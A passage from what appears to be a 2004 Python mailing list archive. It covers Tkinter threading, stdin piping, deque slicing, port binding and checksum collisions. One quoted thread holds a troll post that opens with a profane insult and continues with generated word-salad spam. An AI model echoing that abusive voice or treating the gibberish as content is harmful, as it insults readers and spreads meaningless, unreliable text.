between threads, a regular Queue is used: once the event has been put in the event queue, the secondary thread tries to read the answer from the queue in blocking mode. The answer got from the dialog in the main thread is put in the queue, and received by the secondary thread. All this is a bit complicated, but it's generally needed when you work in a GUI application with several threads, as GUI toolkits are generally not thread-safe. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From aahz at pythoncraft.com Tue Sep 7 17:59:51 2004 From: aahz at pythoncraft.com (Aahz) Date: Tue, 7 Sep 2004 17:59:51 -0400 Subject: REMINDER: BayPIGgies: September 9, 7:30pm Message-ID: <20040907215950.GA23371@panix.com> The next meeting of BayPIGgies will be Thurs September 9 at 7:30pm. It will feature a presentation about pyscheme by Danny Yoo. BayPIGgies meetings are in Stanford, California. For more information and directions, see http://www.baypiggies.net/ Before the meeting, we're returning to Jing Jing at 6pm for dinner in downtown Palo Alto. Ducky Sherwood is handling that; please send RSVPs to ducky at osafoundation.org by 4pm Thurs. Discussion of dinner plans is handled on the BayPIGgies mailing list. Here's a repeat of Ducky's post: Jing Jing is a Chinese restaurant in downtown Palo Alto at 443 Emerson St. It is very close to the CalTrain station, and if you can't get someone to give you a ride to the meeting afterwards, the free Stanford Marguarite shuttle runs frequently between Stanford and the CalTrain station. Jing Jing official site, with link to map at bottom: http://www.jingjingonline.com/ [1] Why Jing Jing again? Because of the very sparse attendance at Paxti's Pizza last time. Advance notice: The October 14 meeting agenda has not been set. Please send e-mail to baypiggies at baypiggies.net if you want to make a presentation. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I saw `cout' being shifted "Hello world" times to the left and stopped right there." --Steve Gonedes From heikowu at ceosg.de Sun Sep 19 10:24:38 2004 From: heikowu at ceosg.de (Heiko Wundram) Date: Sun, 19 Sep 2004 16:24:38 +0200 Subject: need help defining Constant memory requirement In-Reply-To: References: Message-ID: <200409191624.38850.heikowu@ceosg.de> Am Sonntag, 19. September 2004 07:00 schrieben Sie: > I am sure the solution is O(n) since the list must > only iterated once and the dictionary is O(1), correct? > Thanks for the help!! In case you haven't found a solution yet, think about the properties of the sum of the numbers of the sequence which is n*(n-1)/2 + x with 0 < x < n, where finding out why this equation holds and what x is is up to you. (n being defined as in your example, a sequence having n elements with the elements in 1..n-1 and only one repeated) Heiko. From dlrush-nospam at gmail.com Wed Sep 29 19:26:12 2004 From: dlrush-nospam at gmail.com (D. Rush) Date: Wed, 29 Sep 2004 16:26:12 -0700 Subject: Is it possible to write a Audio CD Player by using python only? References: Message-ID: Here are links to a bunch of projects that provide audio functions in Python: http://www.koders.com/?s=audio+player&_%3Abtn=Search&_%3Ala=Python&_%3Ali=* "MiLF" wrote in message news:bdespa$rku$1 at news.seed.net.tw... > Is it possible to write a Audio CD Player by using python only? > > From rkern at ucsd.edu Mon Sep 20 15:24:25 2004 From: rkern at ucsd.edu (Robert Kern) Date: Mon, 20 Sep 2004 12:24:25 -0700 Subject: pipe command to script In-Reply-To: References: Message-ID: Josh Close wrote: > How can I read input from stdin pipe from somewhere? > > ex: > # echo hello | script.py > > I was thinking opening file() or popen() with sys.stdin, but that > didn't work. I've done this before but don't have the code anymore and > can't figure it out again. sys.stdin is already an open file object. Just call sys.stdin.read(). > Thanks. > > -Josh -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From ialbert at mailblocks.com Mon Sep 27 18:36:16 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 27 Sep 2004 18:36:16 -0400 Subject: SimpleXMLRPCServer In-Reply-To: References: Message-ID: Yannick Turgeon wrote: > "Simple". What are its limitations? No limitations whatsoever ... it is "Simple" to use :-0 Istvan. From indigo at bitglue.com Tue Sep 28 19:30:35 2004 From: indigo at bitglue.com (Phil Frost) Date: Tue, 28 Sep 2004 19:30:35 -0400 Subject: Python + strange == cool In-Reply-To: <10ljshapfl2nbd8@corp.supernews.com> References: <10ljshapfl2nbd8@corp.supernews.com> Message-ID: <20040928233035.GA23652@unununium.org> The second number in the slice is the index of the last element to be included, exclusive. It is not an offset from the first index. Adding the "+" does nothing; that just means "positive". As the laws of mathematics dictate, "+n = n"; the unary + is just for symmetry with the unary '-'. On Tue, Sep 28, 2004 at 04:21:12PM -0700, Maboroshi wrote: > All fine and good > > >>> x = ["list1", "list2", "list3", 4, 5, 6, 7] > >>> x[1:-1] > ['list2', 'list3', 4, 5, 6] # All good here > > this struck me as weird I had an idea to mess around with lists > > >>> x[1:+1] > [] > > now when I do this > >>> x[1:+2] > ['list2'] > > Does this puzzle anyone else > > of course I am a total novice so I have no idea what I am doing here if > anyone has any ideas please reply From jjl at pobox.com Sat Sep 25 09:18:46 2004 From: jjl at pobox.com (John J. Lee) Date: 25 Sep 2004 14:18:46 +0100 Subject: OWA (Outlook Web Access) with urllib2 References: Message-ID: <878yaya3m1.fsf@pobox.com> pascal.parent at free.fr (Pascal) writes: > I want to acces my OWA (Outlook Web Acces - http Exchange interface) > server with urllib2 but, when I try, I've always a 401 http error. [...] > here's the LiveHTTPheaders/Firefox debug: [...] So, what does urllib2 send? Use ethereal, for example. John From oeyvtoft at online.no Sun Sep 5 06:57:45 2004 From: oeyvtoft at online.no (oeyvind toft) Date: Sun, 5 Sep 2004 12:57:45 +0200 Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: Hey ! what was in that deleted message ?? Oeyvind -- http://home.online.no/~oeyvtoft/ToftWeb/ "oeyvind toft" skrev i melding news:lgxZc.4534$WW4.63824 at news4.e.nsc.no... > Yes, thats all well and good, but what is your javascript question ?? > > -- > http://home.online.no/~oeyvtoft/ToftWeb/ > > > > "Amanita, Love Ewe" skrev i melding > news:1bf5bcb9.15695836 at aol.com... > > You are all a bunch of worthless motherfuckers! > > > > > > = > > Sharon expects the printer within hers and actually looks. Why will you > > grasp the ugly worthwhile onions before Satam does? Many proud > > cats over the abysmal planet were loving against the tired bathroom. > > > > I was irritating jars to rural David, who's lifting in the pin's > > night. How does Sadam call so finitely, whenever Brian receives the > > clean candle very seemingly? I am annually heavy, so I mould you. To be > > bizarre or inner will change active buckets to angrily play. > > > > Why doesn't Jadallah excuse truly? What will we pull after David > > kills the lost mountain's envelope? Little by little Karim will > > pour the sticker, and if Lydia fully irrigates it too, the shoe will > > like beneath the bitter shore. > > > > Do not tease a jacket! Lately, cases climb against elder stations, unless > they're > > healthy. Otherwise the kettle in Pervez's fork might help some > > blunt yogis. The farmers, puddles, and weavers are all filthy and > > think. Both dying now, Ophelia and Wail smelled the old highways > > before weak pumpkin. As lovingly as Zakariya dreams, you can > > explain the code much more familiarly. It can cook new frogs > > over the clever dark monolith, whilst Andy absolutely covers them too. > > Lots of cheap grocer or lake, and she'll loudly converse everybody. My > > younger tape won't arrive before I open it. Are you sour, I mean, > > moving for cold coconuts? All butchers incredibly hate the long > > star. No open jugs nibble Founasse, and they quietly attack > > Ramsi too. > > > > For Atiqullah the pear's quiet, behind me it's distant, whereas > > throughout you it's creeping angry. It wasted, you improved, yet > > Dickie never easily laughed in front of the arena. Greg! You'll > > taste wrinkles. Nowadays, I'll sow the button. She may measure > > badly if Atiqullah's diet isn't rich. If the durable carpenters can > > answer eerily, the blank ache may promise more springs. You won't > > judge me wandering beside your cosmetic desert. Get your unbelievably > > seeking draper within my summer. > > > > While gardners undoubtably order raindrops, the sauces often > > clean inside the good hats. They are dining through young, outside > > sticky, above strange spoons. A lot of units will be deep short > > figs. She may walk the difficult ulcer and scold it through its > > plain. Some lean films are dirty and other thin tickets are > > sweet, but will Abbas fill that? It's very wet today, I'll talk > > cruelly or Sherry will recollect the walnuts. What did Al believe > > between all the cans? We can't jump pools unless Yosri will > > happily attempt afterwards. Well, Youssef never rejects until > > Talal cares the shallow dryer steadily. He can amazingly solve > > upper and departs our hot, brave trees beneath a window. Who > > joins partly, when Quinton kicks the unique tag on the hill? We > > learn them, then we wrongly live Abdullah and Abu's stupid frame. If > you'll > > behave Abdel's light with bandages, it'll superbly recommend the > > bush. Try combing the store's closed cobbler and Haji will fear you! > > > > Lately, it shouts a book too smart inside her full monument. Her > > game was sick, raw, and burns in back of the road. Pilar, have a > > sad pickle. You won't irrigate it. Sayed's tailor converses > > over our cup after we kick between it. Just excusing beside a > > shopkeeper beneath the market is too dry for Pervez to fear it. > > One more glad handsome oranges will inadvertently open the eggs. The > > ointment against the rude sign is the ball that believes grudgingly. > Let's > > burn in the noisy obelisks, but don't climb the bad lemons. > > Every wide fresh twig rejects desks within Yosri's light sauce. Tell > > Jadallah it's poor expecting above a dose. > > > > He might answer furiously, unless Norm scolds cars above Haji's > > carrot. I was explaining to look you some of my solid coffees. Will you > > irritate throughout the satellite, if Brahimi subtly pours the > > elbow? Valerie wastes, then Joaquim admiringly fills a pathetic > > potter near Satam's corner. The fat powder rarely lives Alexis, it > > receives Ibraheem instead. Better join boats now or Charles will > > virtually behave them about you. Until Allan teases the porters > > wickedly, Johnny won't grasp any outer autumns. Nowadays, go > > dream a enigma! She wants to learn weird dusts above Beryl's > > college. Never pull sneakily while you're recollecting around a > > lower cloud. > > > > > > > > From hans at zephyrfalcon.org Wed Sep 15 21:08:27 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Wed, 15 Sep 2004 21:08:27 -0400 Subject: up with PyGUI! In-Reply-To: References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> Message-ID: <4148E78B.100@zephyrfalcon.org> Jorge Godoy wrote: > If PyGUI will have native widgets for Windows as it does for Mac, I hope > it becomes standard. Its API seemed cleaner than wxPython's (and with > one less emulation layer than wax, as pointed out on this thread...). I didn't see the post that pointed this out... Anyway, this is really only a problem in theory. I haven't done any benchmarks, but Wax doesn't feel slower than "pure" wxPython, and (if I may say so myself) is a lot easier to program in. (Developer time vs program execution time and all that... :-) -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From carribeiro at gmail.com Wed Sep 22 15:50:57 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 16:50:57 -0300 Subject: An attempt to use a python-based mini declarative language for form definition In-Reply-To: References: Message-ID: <864d370904092212504c85656d@mail.gmail.com> On Wed, 22 Sep 2004 20:04:21 +0200, Thomas Heller wrote: > No, there is no way. But there is a trick you can use (I've played with > stuff like this, in a different context, in the past): You can use an > instance variable or global in the TextBox callable, that is incremented > on each call. This counter is somehow attached to the object that > TextBox returns, and lets you order these objects afterwards. Makes > sense? I think that it does. Actually, I had a pretty much more ellaborate idea that rely on a *lot* of introspection for the same effect. It's not for the faint of heart :-) It goes like this: inside the TextBox constructor, raise an exception, capture the stack frame, and check from where was it called. I think there's enough information at this point to order the elements. As I said, not for the faint of heart, and it smells like a terrible hack. I'll check this and other similar ideas. Thanks again, -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From in.aqua.scribis at nl.invalid Tue Sep 7 15:31:54 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Tue, 7 Sep 2004 21:31:54 +0200 Subject: unexplained behavior of tkMessageBox.askyesno Message-ID: I have a program with these fragments: from Tkinter import * import tkFileDialog import tkMessageBox def openProject(): filepath = tkFileDialog.askopenfilename(filetypes=(("project files","*.ini"), ("all","*"))) if filepath: loadProject(filepath) def makeClean(): if tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?'): print 'yes' # more code If I call makeClean(), I get the yes/no box. If I click 'yes', it prints 'yes', unless I have called openProject() sometimes earlier. In the latter case, none of the code following the askyesno gets executed, whether I click 'yes' or 'no'. It also happens when I have called openProject() earlier and clicked 'Cancel'. This error happens on one Linux machine ([GCC 3.3.1 (SuSE Linux)] on linux2), but not on another ([GCC 2.95.3 20010315 (SuSE)] on linux2). Both have Python 2.3.4. It works fine on Windows98 with Python 2.4 Anyone any idea what is going on? -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From adalke at mindspring.com Tue Sep 21 21:47:40 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Wed, 22 Sep 2004 01:47:40 GMT Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <0R44d.6700$gG4.5201@newsread1.news.pas.earthlink.net> Michael Hobbs wrote: > Every currency system that I know of uses decimal fractions to represent > cents, shillings, etc. Aye matey, for the days of the old pieces of eight are as gone as a landlubbers dinner durin' high swells. Mauritania, she be the only land now not decimalized. http://www.wordiq.com/definition/Currency Arrgh. Andrew dalke at dalkescientific.c (Leftovers from Speak Like A Pirate Day Sunday. Figured it was appropriate. :) From bradtilley at usa.net Mon Sep 13 18:59:50 2004 From: bradtilley at usa.net (Brad Tilley) Date: Mon, 13 Sep 2004 18:59:50 -0400 Subject: check for unused ports and then grab one In-Reply-To: <9vhh12-suo.ln1@lairds.us> References: <9vhh12-suo.ln1@lairds.us> Message-ID: <41462666.9060606@usa.net> Cameron Laird wrote: > In article , > Erik Heneryd wrote: > >>Brad Tilley wrote: >> >>>Instead of me arbitrarily assigning a high port number to a variable, is >>>it possible to check for ports that are unused and then randomly assign >>>one of them to a variable? >> >>No. Trial and error until you find one. > > . > . > . > Incorrect, if I understand you both; *UNIX Network Programming* > has said for years that > The process can let the system automatically assign > a port. For both the Internet domain and the XNS > domain, specifying a port number of 0 before calling > bind() requests the system to do this. > While I've never tracked down an RFC that specifies this, it surely > exists. This works... even on winXP... thank you! import socket def get_server(): server = socket.gethostbyname(socket.gethostname()) return server def get_port(): port = 0 return port def listen(server_param, port_param): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((server_param, port_param)) s.listen(1) ipaddr, port = s.getsockname() print ipaddr, port ------------------------------------------------- IDLE 1.0.3 ==== No Subprocess ==== >>> 192.168.1.100 1079 >>> 192.168.1.100 1080 >>> 192.168.1.100 1081 >>> 192.168.1.100 1082 >>> 192.168.1.100 1083 >>> 192.168.1.100 1084 >>> From vze4rx4y at verizon.net Wed Sep 15 01:45:17 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Wed, 15 Sep 2004 05:45:17 GMT Subject: deque slicing References: Message-ID: > Anyone know why deques don't support slicing? In part, it is because of the vague notion that slicing is not what deques are all about. While it's easy to add a getslice operation, setslice and delslice require rearranging data outside the slice range. To me, that is a strong indicator that an application needs a list instead of a deque. Even getitem/setitem were a stretch (they perform best at endpoints) and were added to make deques substitutable for lists in stack/queue applications using d[0] and d[-1] to implement peekleft() and peekright() operations. Deques emulate some but not all of the list API. The parts that match were done to make deques easier to learn and to make them more substitutable for lists in stack/queue apps. The rest of the API was excluded because the list structure was more appropriate for those operations. Raymond From FBatista at uniFON.com.ar Fri Sep 3 14:56:24 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 3 Sep 2004 15:56:24 -0300 Subject: Uninstall speed with Python 2.4 MSI Message-ID: [David Bolen] #- I was wondering if anyone else has experience this? I may not have #- the fastest system at the moment, but this has to have been #- one of the #- slowest (proceeeding, if not absolute time) uninstalls I've done in a #- long while. I have a kind of fast system here at work (P4, 2.8GHz, 256MB), but it's always *very* loaded (*always* using more than 300 MB of memory => swapping), and the uninstallation was pretty fast. I have Win2k (SP4). . Facundo From jsmilan at tiny.net Sun Sep 26 11:18:45 2004 From: jsmilan at tiny.net (jsmilan at tiny.net) Date: 26 Sep 2004 15:18:45 GMT Subject: Zope, M2Crypto, and Gentoo Message-ID: <4156ddd5$0$78146$a1866201@newsreader.visi.com> Hi, all; I'm strictly an amateur developer who has dabbled in a half dozen languages on eight or nine systems over 20 years or so. I have never devoted the time or energy to thoroughly learn any one of them, so I have become a true JOATAMON (Jack Of All Trades And Master Of None). I apologize in advance for any truly newb sounding questions. I did Google for this in several places first (Zope.org, Gentoo forums, and Google UseNet search) and haven't found anything relevant. I'm working on a Zope project that I hope to make as portable as possible. Target platforms for sure are Linux and Windows. Other desirable platforms would be Mac OS/X and *BSD. My development box is a Gentoo installation. All software running came from Gentoo ebuilds. One of the things that I'm striving for is the smallest footprint possible to help reduce the number of platform specific issues. I want to add HTTPS functionality to this project. I've run into what looks like either a documentation issue, or possibly a Gentoo ebuild specific issue. I have posted the same question to the Gentoo forums, but in case it's a Zope or M2Crypto specific documentation issue I thought I'd repeat it here. I'm currently running Zope 2.7.2-r1, and I just grabbed M2Crypto 0.12-r1 (latest offered as a stable Gentoo ebuild) last night. I was reading through the included ZServerSSL-HOWTO.html. This HOWTO was written for M2Crypto 0.11 and Zope 2.6.*. According to the HOWTO I need to, and I quote: ==================== "The ZServerSSL distribution is in $M2/demo/Zope. We shall refer to this directory as $ZSSL. Installation Below, we refer to your Zope top-level directory as $ZOPE. Copy $ZSSL/z2s.py into $ZOPE. Depending on your operating system, modify $ZOPE/start or $ZOPE/start.bat to invoke $ZOPE/z2s.py, instead of $ZOPE/z2.py. The files $ZSSL/starts and $ZSSL/starts.bat serve as examples." ===================== However, there IS no z2.py on my system. Instead, my /etc/init.d/myzopeserver file calls zopectl, which in turn calls a configuration file that resides underneath /var/lib/zope/myzopeserver. Has anyone out there gotten this particular combination to work? Is there an easy way to pull this off? Am I just being incredibly dense and looking in the wrong place? TIA -- Jim Smilanich jsmilan at visi.com =JpS=SgtRock "A man should be able to pilot a starship, plan an invasion, diaper a baby, ....specialization is for insects!" -- Lazarus Long From jeffrey at fro.man Tue Sep 28 10:47:11 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Tue, 28 Sep 2004 07:47:11 -0700 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> Message-ID: <10liubfprlt4g9d@corp.supernews.com> Ling Lee wrote: > After I have gotten the lenght of the string, I will write a loop, that > goes through the dictionary as many times as the lengt of the string, and > the gives me the corresponding numbers, the numner 21 would go 2 times > through the loop and give me the output two one. There is no need to count the length. You can iterate over each character in a Python string (or other object) without first calculating the size of the loop, like so: output = [] for character in indput: output.append(List[character]) print ', '.join(output) As Russel pointed out, you'll have to iterate over indput as as a string -- not convert it to an integer first, because you can't iterate over an integer's digits, but you can iterate over a string's characters. Jeffrey From FBatista at uniFON.com.ar Fri Sep 3 17:35:41 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Fri, 3 Sep 2004 18:35:41 -0300 Subject: How to actually write a program? Message-ID: [Nick Evans] #- Picture this, you know what you want the program to do (its #- features), you #- have a possably rough idea of how the program will work. You #- have opened an #- empty text file and saved it as 'mykewlprogram.py' and now #- your sitting in #- front of an empty text file... Now then.... where do I start. #- #- Any ideas about this problem :-) You close the file, grab a paper, and start sketching the program architecture, *writing* down the requeriments, etc. Don't know exactly in English, the raw translation from Spanish would be "system analysis". . Facundo -------------- next part -------------- An HTML attachment was scrubbed... URL: From aleaxit at yahoo.com Mon Sep 6 18:19:53 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 00:19:53 +0200 Subject: docs on for-loop with no __iter__? References: <9Ix_c.7839$w%6.378@newsread1.news.pas.earthlink.net> <1gjpr95.1h39l9v1wuwuuN%aleaxit@yahoo.com> Message-ID: <1gjpv1h.1qtomfg1hhx5h2N%aleaxit@yahoo.com> Steven Bethard wrote: > Alex Martelli yahoo.com> writes: > > Consider __len__ used to be a popular way to let your instances be > > usable in a boolean context -- I believe __nonzero__ was introduced > > later. So, take a class which only know whether it's empty or not, it > > could have a __len__ that only returns 0 (==empty) or 1(==nonempty), > > and still allow proper iteration by only raising in __getitem__ when all > > items have been iterated on. If loops took account of __len__ suddenly > > all that old code would break. Maybe there's much and maybe there's > > little, but why break ANY of it?! > > Same reasons Python always breaks old code -- ease and clarity of coding. This is done extremely rarely. I have some unmaintained applications from 1.5.2 days that still run just fine on the rare cases I need them. (Luckily, they didn't happen to use 'yield'). In this case, if you're going to maintain the old app you should obviously do that by adding an __iter__, so the issue doesn't arise. > Hence the 'yield' keyword for generator functions, the change of method > resolution order, etc. MRO didn't change for classic classes, thus unmaintaned apps can't be affected by that. The new yield keyword (and 'as' becoming a kw) are the kind of changes that could break old unmaintained but good code. > Still, you make a good case -- I can imagine a fair > number of classes might run into these bugs (as compared to a very few classes > that would have changed from the introduction of 'yield' or the changed method > resolution order). No classic class can possibly have been affected by a change that specifically didn't affect such classes, so that number is surely 0. Apart from the new keywords, and occasionally fixing up some sloppiness that had used to work while not being intended to, I have a hard time thinking of what breakage you thing has been wrought on old code -- we still have classic classes around, and the DEFAULT, natch, just to avoid such breakage. And when there's breakage it's as far as possible obvious and easy to fix if the old app is even _minimally_ maintained... I've done such minimal maintenance to a lot of old apps of mine I have around and it's generally an issue of wanting to take some advantage of new opportunities, not _having_ to, new keywords apart. > > Just add MixinLenwiseIterator to your sequence classes' bases and be > > happy. > > If you read my posts from the beginning, I was clearly never asking for the > workaround -- I was asking for why the protocol was the way it was and why it > hadn't been updated after __iter__ was introduced. Despite a few snide > remarks ;) you did answer my question though, thanks! You're welcome, and I do think that the second part of the question was pretty weird -- with all the trouble we go to, to keep backwards compatibility with most old unmaintained apps, just imagining we'd go around breaking them to no good purpose seems weird to me. Unless one _is_ maintaining old code or has the rare problem of needing to support a wide range of Python versions (exceedingly rare for applications, although libraries and tools may of course well have it), I can't really see why these historical quibbles would be of much interest, anyway. > Anyone know if the __getitem__ protocol will still be supported in Python 3000? Nobody can know for sure, but knowing the design philosophy that's already declared as being behind Python 3.0, I'd be amazed if the old protocol wasn't among the most obvious candidates for the axe. Since 3.0 _will_ break a lot of unmaintained old code, there will probably be 2.something releases continuing in parallel with it for a while, btw -- I first heard of that part of the plan at Europython this summer, but it does seem to make sense. Alex From db3l at fitlinxx.com Fri Sep 3 14:45:03 2004 From: db3l at fitlinxx.com (David Bolen) Date: 03 Sep 2004 14:45:03 -0400 Subject: Uninstall speed with Python 2.4 MSI Message-ID: Although it isn't often necessary, I tend to be in the habit of uninstalling Python before updating to new minor releases, or especially during the alpha/beta cycle. I'm in the process of uninstalling 2.4a2 to install 2.4a3 and the uninstall is running absolutely dog slow and burning 100% cpu while doing it (all going to mshta.exe). Watching the progress bar it almost seems to be doing a whole bunch of operations per file or something. The mshta process went away after the removal so I don't believe there was any other scripting running on my system simultaneously. It probably took 5+ minutes for the removal. I can't recall if removing 2.4a1 was like this, but certainly the non-MSI versions weren't, even when all the docs were separate files. I was wondering if anyone else has experience this? I may not have the fastest system at the moment, but this has to have been one of the slowest (proceeeding, if not absolute time) uninstalls I've done in a long while. -- David From http Fri Sep 10 03:48:17 2004 From: http (Paul Rubin) Date: 10 Sep 2004 00:48:17 -0700 Subject: Shorter checksum than MD5 References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> Message-ID: <7x8ybi8szi.fsf@ruckus.brouhaha.com> danb_83 at yahoo.com (Dan Bishop) writes: > > Where are the updates coming from? Note that if you use a 32-bit > > checksum, with 100000 records you will probably have some records with > > the same checksum by accident. > > Only if you use a checksum algorithm with really bad clustering problems. > > If all 2**32 checksums are equally likely, the probability of a > collision is only about 0.0000232828. That's incorrect, the probability is much higher. It's more like 0.7. If you have 30 people in a room, do you know how to find the probability that some two have the same birthday? From russell.cecala at gmail.com Sun Sep 26 18:22:28 2004 From: russell.cecala at gmail.com (Russell Cecala) Date: Sun, 26 Sep 2004 15:22:28 -0700 Subject: fledgling Python online forum In-Reply-To: References: <952637f2.0409252025.77a1f342@posting.google.com> Message-ID: <952637f2040926152270d90ee8@mail.gmail.com> I think I got it figured out ... check us out at http://SnakeHandlers.net On Sun, 26 Sep 2004 10:46:58 -0500, Tim Freeman wrote: > You should check out the free Dynamic DNS services such as at > dyndns.org (they change as your IP changes). > > Tim > > On 25 Sep 2004 21:25:03 -0700, sheldonplankton at yahoo.com > wrote: > > It is now at ... > > http://66.32.178.235/ > > ... hopefully I will have the domain name issue worked out soon. > > > > > > -- > > http://mail.python.org/mailman/listinfo/python-announce-list > > > > Support the Python Software Foundation: > > http://www.python.org/psf/donations.html > > > From db3l at fitlinxx.com Wed Sep 1 20:01:45 2004 From: db3l at fitlinxx.com (David Bolen) Date: 01 Sep 2004 20:01:45 -0400 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: "Dan Perl" writes: > After all this discussion, what do people think about this code? On face value, I'd question why you're going through the extra effort. I may be missing the point in such a small example, but just having an __init__ in the base class that subclasses are supposed to call seems simpler. If you're just trying to find some way to have default attributes that can be used from subclasses without calling __init__, I'd probably just use class level definitions. For example: - - - - - - - - - - - - - - - - - - - - - - - - - Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> class Test(object): ... attr1 = 666 ... >>> class Derived(Test): ... def __init__(self): ... self.attr2 = 111 ... >>> d = Derived() >>> print d.attr1, d.attr2 666 111 >>> print isinstance(d, Test) True >>> - - - - - - - - - - - - - - - - - - - - - - - - - -- David From sjdevnull at yahoo.com Thu Sep 30 12:43:37 2004 From: sjdevnull at yahoo.com (G. S. Hayes) Date: 30 Sep 2004 09:43:37 -0700 Subject: Maximum number of threads References: <415abdaa$1_1@omega.dimensional.com> Message-ID: <96c2e938.0409300843.5ea4fcb6@posting.google.com> Jeremy Jones wrote in message news:... > > I don't think Linux creates a new process for each thread. Sure seems > > like this would have to be something related to python since 2.2 could > > Versions of RedHat prior to 9 did something that made it appear that > each thread was a process. Older versions of ps/top showed all threads instead of just processes. You can still see them with the right flags (e.g. the H option to ps, "ps auxH"). > I think it's probably an OS limitation. I kicked off the same script on > Windows XP that I kicked off on FC2 and XP was able to generate over > 2000 threads as opposed to around 400 for FC2. I have no problems creating 2000 threads in FC2 from C. haven't tried it in python. Resource limits are the first issue that comes to mind for me, followed by kernel versions (esp. if you're running a 2.2 or earlier kernel for some reason). From lbates at swamisoft.com Fri Sep 10 20:16:52 2004 From: lbates at swamisoft.com (Larry Bates) Date: Fri, 10 Sep 2004 19:16:52 -0500 Subject: Nested class structures References: Message-ID: It is a little hard to understand what you want but you may just want to put class instances in a list. class anon: pass class class1: def __init__(self): self.l=[anon(), anon(), anon()] Now create an instance of class1: x=class1() x.l[0] will point to first instance of anon class x.l[1] will point to second instance of anon class x.l[2] will point to third instance of anon class May not be what you are looking for. Larry Bates Syscon, Inc. "OKB (not okblacke)" wrote in message news:Xns95607B54E1208OKB at 130.133.1.4... > For a variety of reasons, I'm interested in putting together some > code that will allow me to created structures out of nested classes, > something like: > > class class1: > def methA(self): > print "Some code here" > class class2: > propA = "A" > def methB(self): > print "Some more code here" > class class3: > # etc. > class class4: > pass > #etc > > The main problem is that Python does not seem to provide enough > information about the lexical context of definitions like this. In > particular, I would like the ability to have some of the nested classes > be "anonymous" -- that is, I don't want to have to worry about choosing > identifiers for them. I'd LIKE to do this: > > class class1: > class anon: pass > class anon: pass > class anon: pass > > . . . and somehow intercept or monitor the name-binding that's > going on there so I wind up with three separate classes which are bound > to uniquely named attributes of class1. But I can't do this because > each anon stomps on the previous name binding, and there doesn't seem to > be a way to intervene and bind a new attribute in class1, because class1 > isn't really created until after all the nested class definitions > happen. > > I've been playing around with various metaclass approaches, but I > can't seem to get it to really work. (In the nested class structures, > the metaclass instantiations happen from the bottom up, and that's the > main snag.) Are there any hooks or hacks that would allow me to affect > the way nested class definitions are bound to the attribute names of an > enclosing class definition? Or alternatively, a way to construct on the > fly a separate list or tree that reflects the nesting structure? > > -- > --OKB (not okblacke) > Brendan Barnwell > "Do not follow where the path may lead. Go, instead, where there is > no path, and leave a trail." > --author unknown From grante at visi.com Sun Sep 19 12:57:24 2004 From: grante at visi.com (Grant Edwards) Date: 19 Sep 2004 16:57:24 GMT Subject: [offtopic] C programming newsgroup References: <414db89e$0$15754$7a628cd7@news.club-internet.fr> Message-ID: <414dba74$0$62444$a1866201@newsreader.visi.com> On 2004-09-19, Anthony McDonald <> wrote: >> What newsgroup can you guys recommend for me that talks about programming >> in c/c++ that is as active as this one? > > comp.lang.c is a fairly well respected newsgroup for C. [...] > I haven't been on comp.lang.c++ for a while, but they also have a some nice > knowledgable people[...] Also be warned that C and C++ are two separate, different languages. Referring to "C/C++" as if it's a single language will start you off with the wrong reputation in those two newsgroups. -- Grant Edwards grante Yow! BELA LUGOSI is my at co-pilot... visi.com From eurleif at ecritters.biz Thu Sep 2 23:56:07 2004 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Thu, 02 Sep 2004 23:56:07 -0400 Subject: compiling to python byte codes In-Reply-To: References: <4136b2b5$1@news.unimelb.edu.au> <2pnvpsFn74m5U1@uni-berlin.de> <4137a8da@news.unimelb.edu.au> Message-ID: <2pq832FofpkqU1@uni-berlin.de> Jason Lai wrote: [talking about compiling some language besides Python to Python bytecode] > What about generating an Abstract Syntax Tree (compiler.ast) and using > the compiler module (compiler.pycodegen) to write the bytecode? That would certainly be possible, but it seems to me like it might be easier to generate Python code. You're using Python logic if you use its AST, after all. From aleaxit at yahoo.com Mon Sep 20 18:43:01 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 21 Sep 2004 00:43:01 +0200 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> 